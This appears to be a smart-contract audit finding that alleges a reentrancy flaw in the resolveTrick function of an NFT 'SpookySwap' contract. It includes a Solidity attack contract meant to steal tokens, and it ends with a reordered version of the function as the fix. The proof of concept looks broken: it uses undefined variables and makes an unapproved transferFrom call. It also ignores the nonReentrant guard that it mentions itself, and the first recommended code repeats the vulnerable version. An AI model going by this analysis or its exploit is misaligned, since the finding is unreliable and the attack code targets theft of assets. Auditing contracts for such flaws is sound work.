Summary
The function resolveTrick
has nonReentrant
modifier but reetrancy attack is still possible because this function dose not follow Checks-effects-interactions (CEI) pattern. The SpookySwap
contract is aERC721
standard. Under the hood are functions transferFrom
and safeTransferFrom
which can be use for this type of attack.
Vulnerability Details
The main problem for this function is that it dose not follow the CEI pattern, delete
part is after _transfer
function.
_transfer(address(this), msg.sender, tokenId);
delete pendingNFTs\[tokenId];
delete pendingNFTsAmountPaid\[tokenId];
delete tokenIdToTreatName\[tokenId];
For hacking contract can be use bellow POC:
The first a potential attacker send more amount than it is necesarry. At the end of this function is if
statement where totalPaid
is checked.
if (totalPaid > requiredCost)
{````uint256 refund = totalPaid - requiredCost;````(bool refundSuccess,) = msg.sender.call{value: refund}("");````require(refundSuccess, "Refund failed");````}
If value is greater than requiredCost
then refund msg.sender.call{value: refund}("");
.
Below POC can be use for hack.
pragma solidity ^0.8.24;
import "./SpookySwap.sol";
contract ReentrancyAttack {
SpookySwap public spookySwap;
uint256 public targetTokenId;
constructor(SpookySwap _spookySwap, uint256 _tokenId) {
spookySwap = _spookySwap;
targetTokenId = _tokenId;
}
function attack() public payable {
spookySwap.resolveTrick{value: msg.value}(targetTokenId);
}
receive() external payable {
if (address(spookySwap).balance > 0) {
spookySwap.transferFrom(address(spookySwap), attacker, TOKEN_ID_FOR_STOLEN);
}
}
}
Impact
It is possible to drain all NFT tokens owned by the smart contract.
Tools Used
manual review
Recommendations
function resolveTrick(uint256 tokenId) public payable nonReentrant {
require(pendingNFTs[tokenId] == msg.sender, "Not authorized to complete purchase");
string memory treatName = tokenIdToTreatName[tokenId];
Treat memory treat = treatList[treatName];
uint256 requiredCost = treat.cost * 2;
uint256 amountPaid = pendingNFTsAmountPaid[tokenId];
uint256 totalPaid = amountPaid + msg.value;
require(totalPaid >= requiredCost, "Insufficient ETH sent to complete purchase");
_transfer(address(this), msg.sender, tokenId);
delete pendingNFTs[tokenId];
delete pendingNFTsAmountPaid[tokenId];
delete tokenIdToTreatName[tokenId];
if (totalPaid > requiredCost) {
uint256 refund = totalPaid - requiredCost;
(bool refundSuccess,) = msg.sender.call{value: refund}("");
require(refundSuccess, "Refund failed");
}
}
To resolve this problem please fallow the CEI pattern.
function resolveTrick(uint256 tokenId) public payable nonReentrant {
require(pendingNFTs[tokenId] == msg.sender, "Not authorized to complete purchase");
string memory treatName = tokenIdToTreatName[tokenId];
Treat memory treat = treatList[treatName];
uint256 requiredCost = treat.cost * 2;
uint256 amountPaid = pendingNFTsAmountPaid[tokenId];
uint256 totalPaid = amountPaid + msg.value;
require(totalPaid >= requiredCost, "Insufficient ETH sent to complete purchase");
delete pendingNFTs[tokenId];
delete pendingNFTsAmountPaid[tokenId];
delete tokenIdToTreatName[tokenId];
_transfer(address(this), msg.sender, tokenId);
if (totalPaid > requiredCost) {
uint256 refund = totalPaid - requiredCost;
(bool refundSuccess,) = msg.sender.call{value: refund}("");
require(refundSuccess, "Refund failed");
}
}